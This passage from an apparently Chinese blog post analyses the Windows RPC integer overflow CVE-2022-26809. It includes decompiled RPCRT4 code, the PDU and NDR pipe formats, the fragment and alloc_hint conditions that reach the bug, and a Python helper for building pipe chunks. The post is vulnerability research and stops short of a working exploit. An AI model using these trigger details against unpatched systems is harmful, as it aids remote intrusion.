alt=""><br>尽管我们触发了漏洞，但是在之后的逻辑中，会先检查<code>Pointer</code>指向的内容是否为空。虽然<code>Buffer</code>的理论大小为26（也就是<code>bind_ack</code>头部数据大小），而此处的Pointer已经是一个越界访问，但是这个地方的内容实际上并不是我们可控的，所以会在一开始的check就被扔掉。。。<br>不过如果有办法能够控制目标机器中的堆内存，进行堆风水排布的话，说不定还是能够实现控制的，这个就有待进一步研究了。。</p><h3 id="核心漏洞点-旧">核心漏洞点(旧)</h3><p>Patch修复的位置有如下两个位置可以参与漏洞利用:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">OSF_SCALL::<span class="built_in">ProcessReceivedPDU</span>()</span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">// skip some code</span></span><br><span class="line">    Length = v50;</span><br><span class="line">    <span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)QUEUE::<span class="built_in">PutOnQueue</span>((OSF_SCALL *)((<span class="type">char</span> *)<span class="keyword">this</span> + <span class="number">600</span>), (<span class="type">char</span> *)v6 + <span class="number">24</span>, v50) )</span><br><span class="line">    &#123;</span><br><span class="line">        *((_DWORD *)<span class="keyword">this</span> + <span class="number">147</span>) += Length;     <span class="comment">// vuln!!</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">GetCoalescedBuffer</span>()</span><br><span class="line">&#123;</span><br><span class="line">  v7 = a3 | v5;</span><br><span class="line">  <span class="built_in">RtlEnterCriticalSection</span>((PRTL_CRITICAL_SECTION)<span class="keyword">this</span> + <span class="number">12</span>);</span><br><span class="line">  v10 = *((_DWORD *)<span class="keyword">this</span> + <span class="number">147</span>);                <span class="comment">// BufferLength from ProcessReceivedPDU</span></span><br><span class="line">  <span class="keyword">if</span> ( !v10 )</span><br><span class="line">    <span class="keyword">goto</span> LABEL_6;</span><br><span class="line">  <span class="keyword">if</span> ( v7 )</span><br><span class="line">    v10 += a2-&gt;BufferLength;                    <span class="comment">// VULN!!!</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>首先我们可以看到第一个函数<code>ProcessReceivedPDU</code>，这里提到了<code>PDU</code>，这个玩意儿的名字是<code>protocol data unit</code>的缩写。微软官方的解释是:</p><blockquote><p>RPC PDU: A protocol data unit (PDU) originating in the remote procedure call (RPC) runtime.</p></blockquote><p>在<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/543b0019-e8ea-4b58-b4d5-324fd692966d">这里</a>详细的介绍了这个概念。这个概念在之后我们会进一步探究。</p><p><a href="https://www.youtube.com/watch?v=GGlwy3_jVYE">这位大佬</a>详细的介绍了自己的分析思路，可以先跟着他的操作进行初步学习。通过学习分析思路会发现，视频中无法进入的分支是因为<strong>存在一个需要设置的标志位</strong></p><p><img src="/2022/04/30/Windows-CVE-2022-26809/RPC09.png" alt=""></p><p>通过逆向分析可以发现，这个标志位其实标志的就是上文提到的<strong>Pipe对象</strong>。只有当<strong>Server端的接口为Pipe接口的时候，这个位置才会被置为1</strong>。根据观察分析，因为pipe对象允许<strong>类似队列Buffer的工作机制</strong>，所以可能需要有单独的处理逻辑。而正是没能正确的处理队列逻辑，导致了漏洞的出现。</p><p>不过在Server端存在Pipe的情况下，我发现代码会反复的陷入这个位置:</p><p><img src="/2022/04/30/Windows-CVE-2022-26809/RPC10.png" alt=""></p><p>这段逻辑的工作类似于：将传入的Buffer进行解析，如果满足条件之后，则进入<code>DispatchRPC</code>的逻辑，而当进入这个分支之后，代码就不会回来了。为了搞清楚这个逻辑，这里需要深入理解一下发送的数据包格式：</p><h3 id="pdu格式">PDU格式</h3><p>PDU的格式可以看<a href="https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm">这里</a>。这边我们选取几个重要的讲一下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> &#123;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* start 8-octet aligned */</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/* common fields */</span></span><br><span class="line">        u_int8  rpc_vers = <span class="number">5</span>;       <span class="comment">/* 00:01 RPC version */</span></span><br><span class="line">        u_int8  rpc_vers_minor;     <span class="comment">/* 01:01 minor version */</span></span><br><span class="line">        u_int8  PTYPE = request ;   <span class="comment">/* 02:01 request PDU */</span></span><br><span class="line">        u_int8  pfc_flags;          <span class="comment">/* 03:01 flags */</span></span><br><span class="line">        byte    packed_drep[<span class="number">4</span>];     <span class="comment">/* 04:04 NDR data rep format label*/</span></span><br><span class="line">        u_int16 frag_length;        <span class="comment">/* 08:02 total length of fragment */</span></span><br><span class="line">        u_int16 auth_length;        <span class="comment">/* 10:02 length of auth_value */</span></span><br><span class="line">        u_int32  call_id;           <span class="comment">/* 12:04 call identifier */</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/* end common fields */</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/* needed on request, response, fault */</span></span><br><span class="line"></span><br><span class="line">        u_int32  alloc_hint;        <span class="comment">/* 16:04 allocation hint */</span></span><br><span class="line">        <span class="type">p_context_id_t</span> p_cont_id    <span class="comment">/* 20:02 pres context, i.e. data rep */</span></span><br><span class="line">        u_int16 opnum;              <span class="comment">/* 22:02 operation # </span></span><br><span class="line"><span class="comment">                                     * within the interface */</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/* optional field for request, only present if the PFC_OBJECT_UUID</span></span><br><span class="line"><span class="comment">         * field is non-zero */</span></span><br><span class="line"></span><br><span class="line">        <span class="type">uuid_t</span>  object;              <span class="comment">/* 24:16 object UID */</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/* stub data, 8-octet aligned </span></span><br><span class="line"><span class="comment">                   .</span></span><br><span class="line"><span class="comment">                   .</span></span><br><span class="line"><span class="comment">                   .                 */</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/* optional authentication verifier */</span></span><br><span class="line">      <span class="comment">/* following fields present iff auth_length != 0 */</span></span><br><span class="line"> </span><br><span class="line">        <span class="type">auth_verifier_co_t</span>   auth_verifier; <span class="comment">/* xx:yy */</span></span><br><span class="line"></span><br><span class="line">&#125; <span class="type">rpcconn_request_hdr_t</span>;</span><br></pre></td></tr></table></figure><p>上述为<code>Request PDU</code>格式，也是当我们Client像Server<strong>发送请求，包括Server pull 来自Client的数据的时候</strong>，<code>RPCRT4</code>中使用的一种格式。格式中有几个重要的成员变量</p><ul><li><code>pfc_flags</code>：表示当前请求的类型，目前常见的有<code>PFC_FIRST_FRAG</code>以及<code>PFC_LAST_FRAG</code></li><li><code>packed_drep</code>：用于表示当前PDU请求中每个元素的类型。</li><li><code>frag_length</code>：用于表示每个<code>fragment</code>切片的大小</li><li><code>alloc_hint</code>：用于描述当前建议server端分配的数据大小</li><li><code>opnum</code>：由于描述当前操作的是Server的哪个接口</li></ul><p>在<code>request</code>之后，就会紧跟着body，也就是发送的数据结构体。</p><p>我们将<a href="https://showlinkroom.me/2022/04/30/WindowsRPCStudy">之前文章中编译的</a>的<code>Pipe</code>实际的例子跑一下看看：<br><img src="/2022/04/30/Windows-CVE-2022-26809/RPC03.png" alt=""><br>可以看到这边使用的是<code>DCERPC</code>协议，其实就是<code>OSF-DCE Open Software Foundation Distributed Computing Environment</code>定义的一种协议，包括上文提到的<code>PDU</code>也在其中。然后我们看到数据包中有记录<strong>First 和 Last</strong>数据包，就是由<code>flags</code>控制的<br><img src="/2022/04/30/Windows-CVE-2022-26809/RPC04.png" alt=""><br>这边可以看到发送的数据包在发送过程中，会给出<code>frag_length</code>和<code>alloc_hint</code>。然而会发现两者长度不完全一致，这是由于<code>alloc_hint</code>用于描述<strong>建议server端用于存放NDR数据的大小</strong>。这个大小不包含<strong>当前<code>rpcconn_request_hdr_t</code><strong>的大小。而<code>frag_length</code>表示的是</strong>单次发送的fragment</strong>大小，其包含了<code>rpcconn_request_hdr_t(24字节)</code>，当存在认证的场合，还需要分配对应的认证用context。两者的大小不一定相等（这也导致了后方漏洞的出现）</p><h3 id="ndr-network-data-representation">NDR Network Data Representation</h3><p>在数据传输的时候，<code>RPC</code>会使用<code>NDR</code>来描述当前传输的数据类型。<code>NDR</code>可以简单的理解成一个<code>TLV</code>协议的结合体。RPC内置的属性都可以用<code>NDR</code>进行操作。<br>这里我们关注<code>Pipe</code>的NDR类型<br><img src="/2022/04/30/Windows-CVE-2022-26809/RPC05.gif" alt=""></p><p>其官方描述如下</p><blockquote><p>NDR represents a pipe as a sequence of chunks, not necessarily all containing the same number of elements. A chunk can contain at most <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>32</mn></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{32}-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.897438em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span> elements of the pipe. The number of chunks is potentially unlimited. NDR represents each chunk as an ordered sequence of representations of the elements in the chunk, preceded by an unsigned long integer giving the number of elements in the chunk. The final chunk is empty; it contains no elements and consists only of an unsigned long integer with the value 0 (zero).</p></blockquote><p>从描述中我们可以得知：</p><ul><li>Pipe中其实最多可以传输<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>32</mn></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{32}-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.897438em;vertical-align:-0.08333em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span>个元素</li><li>最后一个元素通常为空</li></ul><p>这边注意，Pipe中，前四个字节存放的是<strong>元素的数量，而非总共的长度</strong>，这点要注意。。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">比如说Long对象，理论上chunk=1的时候，NDR的总长度为4+4 = 8</span><br></pre></td></tr></table></figure><p>当check不满足的时候（后文会根据chunk的数量申请内存大小。如果内存太小发生越界，则拷贝不发生，并且抛出<code>bad_ndr</code>的错误）</p><p>再RPCRT4中，管对这个NDR解析的过程叫做<code>Unmarsharl</code>，大致可以理解成<strong>反序列化</strong></p><h3 id="重回processreceivedpdu">重回ProcessReceivedPDU</h3><p>根据前文的前置知识，我们知道发送的PDU数据中，存在一个叫做<strong>Fragment 分片</strong>的概念，结合文档中提到的分片发送，不难猜测，整个漏洞的核心原因应该是<strong>分片Fragment发生合并的时候导致的整数溢出</strong>。通过调试可以还原部分的数据结构，其中<code>ProcessReceivedPDU</code>函数中的漏洞函数如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">FragmentLength = Size;</span><br><span class="line"><span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)QUEUE::<span class="built_in">PutOnQueue</span>((QUEUE *)&amp;<span class="keyword">this</span>-&gt;queue, (<span class="type">char</span> *)PDUBuffer + <span class="number">24</span>, Size) )</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">this</span>-&gt;TotalLength += FragmentLength;</span><br></pre></td></tr></table></figure><p>可以看到，这边将<code>PDUBuffer</code>加入了一个<code>queue</code>中，并且将每次传入的<code>FragmentLength</code>叠加到当前对象的<code>TotalLength</code>成员变量中，这边忘记<strong>检查当前的分片长度是否溢出，从而导致存在了整数溢出</strong>。可以猜测，后文<strong>应当存在一个逻辑，将此处压入的Buffer数据包取出，然后送入另一个buffer中，而由于这边算的长度存在问题，从而导致了越界写的问题</strong>。</p><p>然后我们回到前文提到的另一个问题：代码流程无法进入漏洞触发点，而是提前就进入了<code>DispatchRPC</code>，这段其实和分发逻辑有关，这边存在几种情况:</p><h5 id="分包逻辑1：快速处理逻辑">分包逻辑1：快速处理逻辑</h5><p>当我们发出的数据包为<code>PFC_FIRST_FRAG</code>与<code>PFC_LAST_FRAG</code> flag同时设置的时候，会进入前文的快速分发逻辑，导致不会发生分片</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( (Flags &amp; <span class="number">1</span>) != <span class="number">0</span> )                     <span class="comment">// PFC_FIRST_FRAG</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> ( *dispatchbuffer_ptr &amp;&amp; !<span class="keyword">this</span>-&gt;CallStack )</span><br><span class="line">    <span class="keyword">goto</span> SC_CLEAN_UP_TO;</span><br><span class="line">    <span class="keyword">if</span> ( (Flags &amp; <span class="number">2</span>) != <span class="number">0</span> )                   <span class="comment">// PFC_LAST_FRAG</span></span><br><span class="line">    &#123;</span><br><span class="line">    <span class="keyword">this</span>-&gt;DispatchBufferOffset = theFragSize;<span class="comment">// here will just dispatch packet</span></span><br><span class="line">    *dispatchbuffer_ptr = v25;</span><br><span class="line">LABEL_53:</span><br><span class="line">    <span class="keyword">this</span>-&gt;CurrentState = <span class="number">3</span>;</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="keyword">this</span>-&gt;dword2E0 &amp; <span class="number">4</span>) != <span class="number">0</span> )</span><br><span class="line">    &#123;</span><br><span class="line">        _InterlockedAnd(<span class="keyword">this</span>-&gt;Connection + <span class="number">107</span>, <span class="number">0xFFFFFFFD</span>);</span><br><span class="line">        <span class="keyword">this</span>-&gt;dword2E0 &amp;= ~<span class="number">4u</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    v27 = PTYPE;</span><br><span class="line">    <span class="keyword">return</span> OSF_SCALL::<span class="built_in">DispatchRPCCall</span>(<span class="keyword">this</span>, v27);</span><br></pre></td></tr></table></figure><h5 id="分包逻辑2：分包-但是大小足够">分包逻辑2：分包，但是大小足够</h5><p>当我们发出的数据包有多个，其中第一个为<code>PFC_FIRST_FRAG</code>的同时不为<code>PFC_LAST_FRAG</code>的场合，此时会判断<code>allocHint</code>大小判断</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">alloc_hint = *(Packet + <span class="number">4</span>);</span><br><span class="line"><span class="keyword">if</span> ( alloc_hint )</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">this</span>-&gt;AllocHint = alloc_hint;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">    alloc_hint = theFragSize;</span><br><span class="line">    <span class="keyword">this</span>-&gt;AllocHint = theFragSize;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果此时发包不足<code>allocHint</code>大小，意味着此时<strong>ServerBuffer足够缓存数据</strong>，于是直接拷贝到缓存的Buffer中</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( !OSF_SCALL::<span class="built_in">GetBufferDo</span>(*CurrentBinding, &amp;<span class="keyword">this</span>-&gt;DispatchBuffer, AllocHint, <span class="number">1</span>, v49, v50) )</span><br><span class="line">&#123;</span><br><span class="line">    v47 = theFragSize;</span><br><span class="line">    <span class="built_in">memcpy_0</span>(*dispatchbuffer_ptr + <span class="keyword">this</span>-&gt;DispatchBufferOffset, Packet + <span class="number">24</span>, theFragSize);</span><br><span class="line">    v48 = <span class="keyword">this</span>-&gt;Connection;</span><br><span class="line">    <span class="keyword">this</span>-&gt;DispatchBufferOffset += v47;</span><br><span class="line">    (*(*v48 + <span class="number">64</span>i64))(v48, Packet);         <span class="comment">// DispatchRPCCall</span></span><br><span class="line">    <span class="keyword">if</span> ( (Flags &amp; <span class="number">2</span>) == <span class="number">0</span> ) <span class="comment">// PFC_LAST_FRAG</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>i64;</span><br><span class="line">    <span class="keyword">goto</span> LABEL_53;</span><br></pre></td></tr></table></figure><p>并且如果包为<code>PFC_LAST_FRAG</code>，则单次传输结束。</p><p>如果使用<a href="https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds">微软官方提供的sample</a>，是无法触发漏洞点的，因为官方的<code>allocHint</code>大小每次都是同时存在<code>PFC_FIRST_FRAG</code>和<code>PFC_LAST_FRAG</code>导致<strong>每次都会立刻进行Dispatch</strong>，最终导致错过漏洞触发条件。</p><h4 id="分包逻辑3：触发rpc分发逻辑-但是同时发生分包">分包逻辑3：触发RPC分发逻辑，但是同时发生分包</h4><p>总结一下，为了能够触发漏洞，我们需要</p><ul><li>将发送的数据包分为<code>PFC_FIRST_FRAG</code>和多个数据包，最后跟着一个<code>PFC_LAST_FRAG</code></li><li><code>allocHint</code>字段给出的buffer大小需要不足以承受之后所有的数据包</li></ul><p>当满足上述两个条件之后，当第一个数据包进入了<code>DispatchRPC</code>，程序就会进入数据处理逻辑，同时由于此为多线程处理逻辑，Server还会接受之后到来的数据包，此时由于</p><ul><li>已经有数据包进行了分发</li><li>申请的Buffer大小已经消耗完成</li></ul><p>所以此时只能<strong>将数据包压入队列，等满足条件再进行数据合并</strong>，于是能够进入后方的<code>PutQueue</code>逻辑:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">FragmentLength = Size;</span><br><span class="line"><span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)QUEUE::<span class="built_in">PutOnQueue</span>((QUEUE *)&amp;<span class="keyword">this</span>-&gt;queue, (<span class="type">char</span> *)PDUBuffer + <span class="number">24</span>, Size) )</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">this</span>-&gt;TotalLength += FragmentLength;</span><br></pre></td></tr></table></figure><p>于是能触发这段逻辑。</p><p>再实验的时候，这里使用了python脚本，以及引入库<code>impacket.dcerpc.v5.rpcrt</code>进行数据发送，但是这个库会<strong>将AllocHint设置成正好能够放得下所有请求的NDR大小总和的数值</strong>，导致最后都会被<strong>一次性发送给<code>DispatchRPCCall</code></strong>，导致无法进入后方的逻辑。于是这边需要手动修改这个包的处理逻辑（直接修改库中的代码才行），将<code>allocHint</code>的大小改成每次发送的<code>fragment</code>的实际大小即可（一般来说，<code>fragment</code>因为存在头部数据大小（32bit为24字节）的真实大小会略大于<code>allocHint</code>，可以通过wireshark进行调整）</p><h3 id="ndr格式check">NDR格式Check</h3><p>再尝试发送请求的数据的时候，一直有一个<code>bad_ndr</code>的错误。后来经我观察，发现<code>RPCRT4</code>并没有严格按照之前提到的规范来实现Pipe。再<code>NdrReadPipeElements</code>中会调用<code>NdrpReadPipeElementsFromBuffer</code>进行数组数据的读取，其中</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( !(*(*a1-&gt;pipeHelper + <span class="number">96</span>i64))(a1-&gt;pipeHelper, pipe_message, &amp;UnMarshalLength) )<span class="comment">// NDR_PIPE_HELPER32::UnmarshallChunkCounter</span></span><br><span class="line">  <span class="keyword">return</span>;</span><br><span class="line">ChunkNum = UnMarshalLength;</span><br><span class="line">a1-&gt;UnMarshalLength = UnMarshalLength;</span><br><span class="line">a1-&gt;Length = ChunkNum;</span><br><span class="line"><span class="keyword">if</span> ( ChunkNum )</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( a1-&gt;minSize &gt; ChunkNum || a1-&gt;MaxSize &lt; ChunkNum )<span class="comment">// shellcode需要精心构造，不然会陷入这里</span></span><br><span class="line">    <span class="built_in">NdrpRaisePipeException</span>(a1, <span class="number">1734</span>);</span><br><span class="line">  a1-&gt;state = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>完成反序列化之后，这里的Chunk数量居然要和这里的<code>minSize</code>和<code>maxSize</code>比较。这两个变量的含义是<code>Pipe</code>中能够存放的最大元素。<code>minSize</code>自然为0，而<code>maxSize</code>居然只有短短的<code>0xffffff</code>。 <em>多少有点小了吧,文档原文不是说可以很大的吗</em> ，于是这边我们需要严格按照如下的格式构造请求的数据体:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment"># +--------------+-------+-------+-------+</span></span><br><span class="line"><span class="comment"># |  Item count  | item1 | item2 | ....</span></span><br><span class="line"><span class="comment"># +--------------+-------+-------+-------+</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">format_fragment_data</span>(<span class="params">data, frag_size</span>):</span><br><span class="line">    data_len = <span class="built_in">len</span>(data)</span><br><span class="line">    frag_size -= <span class="number">4</span></span><br><span class="line">    <span class="keyword">if</span> data_len &lt; frag_size:</span><br><span class="line">        <span class="keyword">return</span> u32(<span class="built_in">len</span>(data)//<span class="number">4</span>) + data + u32(<span class="number">0</span>)</span><br><span class="line">    start_index = <span class="number">0</span></span><br><span class="line">    outer = <span class="string">b&quot;&quot;</span></span><br><span class="line">    <span class="keyword">while</span> data_len &gt; <span class="number">0</span>:</span><br><span class="line">        outer += u32(frag_size//<span class="number">4</span>)</span><br><span class="line">        outer += data[start_index:start_index+frag_size]</span><br><span class="line">        data_len -= frag_size</span><br><span class="line">        start_index += frag_size</span><br><span class="line">        <span class="keyword">if</span> data_len &lt; frag_size:</span><br><span class="line">            <span class="comment"># print(u32(data_len))</span></span><br><span class="line">            outer += u32(data_len//<span class="number">4</span>)</span><br><span class="line">            outer += data[start_index:start_index+data_len]</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> outer+u32(<span class="number">0</span>)</span><br></pre></td></tr></table></figure><p>当我们的chunk大小合理之后，就不会被这边卡住了，函数的后方会调用<code>NdrpPipeElementConvertAndUnmarshal</code>，对这个Pipe中的每一个元素进行<code>Unmarshal</code>。</p><h3 id="进入osf-scall-getcoalescedbuffer前的最后准备">进入<code>OSF_SCALL::GetCoalescedBuffer</code>前的最后准备</h3><p>根据观察，会发现不是每次<code>NdrpReadPipeElementsFromBuffer</code>调用完成之后，都能够进入<code>OSF_SCALL::GetCoalescedBuffer</code>。于是要来观察当前函数的触发逻辑：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( (a1-&gt;field_12 &amp; <span class="number">0x20000</span>) == <span class="number">0</span> )</span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">NdrpReadPipeElementsFromBuffer</span>(a1, v25, &amp;v26, v19, &amp;hasReadElem);</span><br><span class="line">    hasChunkTailCounterFlag_1 = a1-&gt;hasChunkTailCounterFlag;</span><br><span class="line">    readElem = hasReadElem;</span><br><span class="line">&#125;</span><br><span class="line">v19 = willReadElem - readElem;</span><br><span class="line"><span class="keyword">if</span> ( (willReadElem - readElem &lt;= <span class="number">0</span> || (hasChunkTailCounterFlag_1 &amp; <span class="number">1</span>) != <span class="number">0</span>) &amp;&amp; (hasChunkTailCounterFlag_1 &amp; <span class="number">2</span>) == <span class="number">0</span> )</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">if</span> ( readElem )</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line"><span class="built_in">HIWORD</span>(a1-&gt;field_12) |= <span class="number">2u</span>;</span><br><span class="line"><span class="built_in">NdrPartialReceive</span>(a1, v25, p_enable[<span class="number">7</span>]); <span class="comment">// 这个函数就是进入GetCoalescedBuffer的关键，同时这里也会进行NDR的check的异常抛出</span></span><br></pre></td></tr></table></figure><p>可以看到，当前函数的调用中，有一个非常关键的检查（据观察，后两个flag检查基本都是通过的）就是</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( readElem )</span><br><span class="line">    <span class="keyword">break</span>;</span><br></pre></td></tr></table></figure><p>也就是说，只要我们能够让<code>readElem</code>的值为0，我们才能进入<code>NdrPartialReceive</code>。这个值是在<code>NdrpReadPipeElementsFromBuffer</code>中被设置的。于是这边跟如这个函数。函数使用类似状态机的代码进行维护</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">state = a1-&gt;state;</span><br><span class="line"><span class="keyword">if</span> ( state )</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">a1-&gt;int78 = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span> ( !(*(*a1-&gt;pipeHelper + <span class="number">96</span>i64))(a1-&gt;pipeHelper, pipe_message, &amp;UnMarshalLength) )<span class="comment">// NDR_PIPE_HELPER32::UnmarshallChunkCounter</span></span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">ChunkNum = UnMarshalLength;</span><br><span 